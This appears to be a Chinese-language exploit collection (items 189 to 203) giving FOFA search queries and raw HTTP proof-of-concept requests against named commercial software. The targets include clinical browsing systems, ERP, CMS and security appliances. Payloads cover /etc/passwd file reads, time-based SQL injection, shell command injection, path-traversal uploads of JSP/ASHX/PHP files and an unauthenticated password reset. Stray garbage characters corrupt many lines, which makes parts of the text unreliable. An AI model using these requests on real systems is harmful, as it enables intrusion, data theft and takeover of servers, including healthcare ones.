FOFA：body="/system/get_rtc_user_defined_info?site_id"
9 a* k$ |) U1 b+ _8 [( ]& rGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
9 P3 T/ T  m1 k# EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 m- G9 A/ M8 A  N4 l) hAccept-Encoding: gzip, deflate
2 h5 K/ w+ x8 ]1 nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
1 K0 p# l# j1 q, d% N8 i# dConnection: close


189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
# h  @' D/ v0 v+ v* {  @1 \- mGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
( ]. t& C5 ]3 S. ~1 S2 U* d5 M# eUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 F( y; d. f; R  _3 x+ jAccept-Language: zh-CN,zh;q=0.9
% ^8 |9 ]* j; C# }* [Connection: close


7 F  h7 j5 g1 Q. k+ _190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
7 l2 I+ E0 X5 n! o* Y5 j; hHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
! C0 u' M* H! n/ ^. A, xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
% e' q! O0 b, o  OContent-Type: application/x-www-form-urlencoded
- B+ N0 L; B, \% P/ w, tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( p( P" R: W8 w* j- i
# c! H9 ~' o5 S; i$ d: k9 j) hpoi=file:///etc/passwd
# ~- h! A4 [4 Q; @, z
- A5 T' `5 X& J, f
6 D, \9 U  Q( f. T6 v* K' r! M/ t191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
% V$ C4 p& g4 \# c* LFOFA：body="/CDGServer3/index.jsp"
. D! i9 W6 c8 @POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
6 i5 `7 t. }4 R+ O9 u* E3 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 D' {( X2 i4 P) T* }5 nContent-Type: application/x-www-form-urlencoded

3 b3 E! m  m" w5 k4 o) Z& j7 E# zcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


  u+ P$ f6 Q! `; e2 s3 `192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
1 M& m4 u7 `: R$ }6 S. Y  Q& \POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
+ J* u$ z3 k( i7 z3 |6 E& mHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
6 X  H3 z5 k4 U, DContent-Type: application/x-www-form-urlencoded
) O8 N) K* }) @5 T6 L# r0 s& R
* `8 z+ P) \  Y, g. x8 ^1 x1 x
<% @ webhandler language="C#" class="AverageHandler" %>
0 P" S3 Z' ~- m9 ~3 }5 Gusing System;
using System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
, [+ V+ T$ o) N& m0 vpublic void ProcessRequest(HttpContext ctx)
9 L" w6 n) S# R/ k2 w% i  V{
8 o% N' h  }- e  lctx.Response.Write("test");
}
! U" a" y: W; ~1 m! I' c# W9 F}
) j* A$ j+ z, v( {
4 L: L7 ]; Y5 z, B$ x
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
3 L" y$ R6 v$ S* c  J1 e2 _2 b8 NGET /master/ajaxActions/getTokenAction.php HTTP/1.1
* O  H- F  o) q. g+ ZHost:
Cookie: PHPSESSID=2333333333333;
& q* I8 ~* E  M1 {+ ?: V+ eContent-Type: application/x-www-form-urlencoded
! I& h6 E: z' _% UUser-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
! C5 F6 f, L. Y/ i" P1 m$ u; a/ ZHost:
& ~/ n8 ~) i/ O/ H0 S+ c1 DUser-Agent: Mozilla/5.0
2 o+ p& h0 X. B6 N8 [9 K/ E+ M$ bAccept-Encoding: gzip, deflate
, X; t6 N* \, H7 }Accept: */*
7 ~6 t2 R# S- V4 Q1 u/ V' IConnection: close
! \5 @4 T2 Q9 bCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
& Y+ m" M' N. {" J! }! J& I$ ?, r
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
3 O0 L) J$ g5 C+ p: a* }4 g" a

" U. i; m7 y- p) b; xGET /master/img/config HTTP/1.1
! Q5 C& X( l  Y1 y# [3 V# A9 O% ]Host:
User-Agent: Mozilla/5.0
( g% S& T. t* ~! s- ~* @9 w, O* R
, C. i& ^% `5 ^5 L9 t# m9 t
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

9 A; O2 M( S: _' B' P, TPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
; K2 i* O5 j1 L$ a* E3 W# w. W/ [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
! S; T/ r  {6 \( f1 h9 x) RContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
1 m/ r% O6 P* d4 `2 n8 }8 A------WebKitFormBoundaryKNt0t4vBe8cX9rZk
2 E. K! \! U/ v5 @6 \
9 O' _5 _) ?4 o2 N6 VContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
  K" n4 K4 {9 t0 o: D. f3 }# VContent-Type: text/plain
' f. ?9 d% Q4 m4 ?9 j<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
1 Q: T$ T# v9 ?! C9 h( ?+ ^

" }; V4 B. Y9 V: y195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
/ ?+ w9 W, x( V- dPragma: no-cache
5 q1 n3 {  `( a4 K* j7 QCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
8 [8 a! p8 ^) qAccept: */*
* h9 S  t* h9 U9 d1 e! xAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 S! ~2 g5 W$ C6 \. F. i2 g" b4 JConnection: close
Content-Type: application/x-www-form-urlencoded
* N0 V% j+ z6 G4 Y9 v3 PContent-Length: 68
# |: r) A- G$ z
4 m4 K1 D; p4 x3 L2 d{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
. K# f8 W% T" e
0 r0 p$ Y) x8 _+ n+ ?' o: T
) Q$ l% b% O4 n) k7 F( |196. 河南省风速科技统一认证平台密码重置
. T% I: {0 `8 c. oFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
. L- V1 i" U6 N. Z5 XPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
+ ^: E9 E/ ~3 H% i4 S+ ^' sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
; D0 [1 \3 \3 a5 |Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
" L) d/ e7 T+ q" m6 tConnection: close

{"xgh":"test","newPass":"test666","email":""}


* I7 q/ Z2 S3 w
, C: u: H" }- N  @( h4 O# D% y197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
: n: ]( C$ ]4 I" v' I( UGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
+ V3 C) W) H: p, F. y4 GConnection: close



" z5 B& D- t. Z3 Z8 i# t198.  阿里云盘 WebDAV 命令注入
) L* W0 l9 e( W: xCVE-2024-29640
5 f8 _7 b+ R$ |* b' a% X& n/ B5 JGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
3 i  f+ R) F) U0 O- e1 oCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
/ |* \9 @, h- {* P- ]) `. pAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
! Q0 w/ [7 M, H, ?$ n. }0 aConnection: close


$ o0 I5 `! F# a- ^) p199. cockpit系统assetsmanager_upload接口 文件上传
. {# f; Z( N" ?  `/ S, m4 q7 h
; O$ U1 r. Q! f4 |& Q1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
  e9 |) p7 j' I9 D* V$ M/ BGET /auth/login?to=/ HTTP/1.1
6 [& Z+ u8 ~" K. A* g8 D  G4 r
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
0 w4 L; D$ i# w* d0 ^
" J' D: y. V* _5 V! Z- p2.使用刚才上一步获取到的jwt获取cookie：
6 p9 D4 `- P0 b3 M0 {  o/ ?# }
$ h6 r8 P- k! ~. X# x) N7 k. P+ NPOST /auth/check HTTP/1.1
8 ?( ^7 P4 Q) ?) x: O  ?7 d: bContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
9 V2 O( t. @4 q+ J9 d
% d- k; A, g& \1 m% n+ G响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
; p  B, `5 s* f7 X$ s, M4 EPOST /assetsmanager/upload HTTP/1.1
) y$ Q+ L9 x0 o: N. |$ wContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
1 d. j' m" ~; n9 Z* d) ]  C1 GContent-Disposition: form-data; name="files[]"; filename="tttt.php"
8 t+ ~( O) D  v4 nContent-Type: text/php
- x& Z: x  ^* ?( f
6 ^2 ^* r- }8 n<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php
: G& |' k4 s# y% w
8 Q' t0 [0 [/ F+ I* D200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
# H6 z0 I1 Q! m4 iGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
- \0 I8 r+ J1 O& b# OCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" T% K+ c' \  u2 ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

9 @1 Q# a% n8 }: U5 V- @
9 e% x1 H3 n4 h) S* A0 g& Z  C) l+ P* j201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
8 a+ O4 L5 x8 A' g; ?2 u! `Content-Type: application/x-www-form-urlencoded
0 G" o$ y, s, ^% P$ y/ C  W7 H" IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# D# R8 @; |, ]& q3 J/ KAccept-Encoding: gzip, deflate
) B/ D7 _% b# t8 T. J$ ?6 o; r" D% R$ rAccept-Language: zh-CN,zh;q=0.9
Connection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


0 p) c( E; W. V6 L4 E202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
& r! Z! J* J8 M4 t# [6 L& WGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
( ]) C9 j& ^# N  d6 iContent-Length: 0
% n7 o, B! n. ^" Z5 u  j7 [" Y
/ z1 B6 k; i6 @' p9 R$ g$ `9 i
替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
0 m2 _7 S% L# K. z7 \0 CAccept-Encoding: gzip, deflate, br
. d, c1 L! k0 \/ s' y5 XContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
( R1 ]" ^8 |% N% H
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

% y1 Q3 ^) X) N* A6 L__VIEWSTATE
2 {: }" ~8 u8 q; X-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
# q7 ^& E" g5 t! n" k9 [-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
3 J. T! H9 ]! Q' UContent-Type: text/plain

1 c- V9 T+ p& }$ hHello World!
-----------------------------786435874t38587593865736587346567358735687
6 C( A5 q! z' K! L, S& lContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
0 j$ ^, ~7 n) D! x

3 L) m2 p5 E# T" R5 l  }& ~) u-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

% K- k7 ~3 X# N; C- U8 f# [
# v8 q6 g( F* V" x3 `, l-----------------------------786435874t38587593865736587346567358735687--
: i$ T: A* u& |: C$ w3 ~1 H
8 d* n6 t- e  V$ b
- o  T1 P7 a6 k  J3 E% n/_data/Uploads/1123.txt

" X- T! l1 Q. T1 Q7 w, x203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
5 O& [! W, U) }2 N( f% YAccept-Encoding: gzip
2 ?! _# {1 P) [9 z$ MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& ^/ s8 {" _1 w4 Q, U# xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
2 k- Q0 ]7 o5 A8 M  MContent-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

( E2 ^4 @% P% W% x& y


4 n  t3 r8 M. d

) m8 q* D) m1 T0 m) m3 d# B  b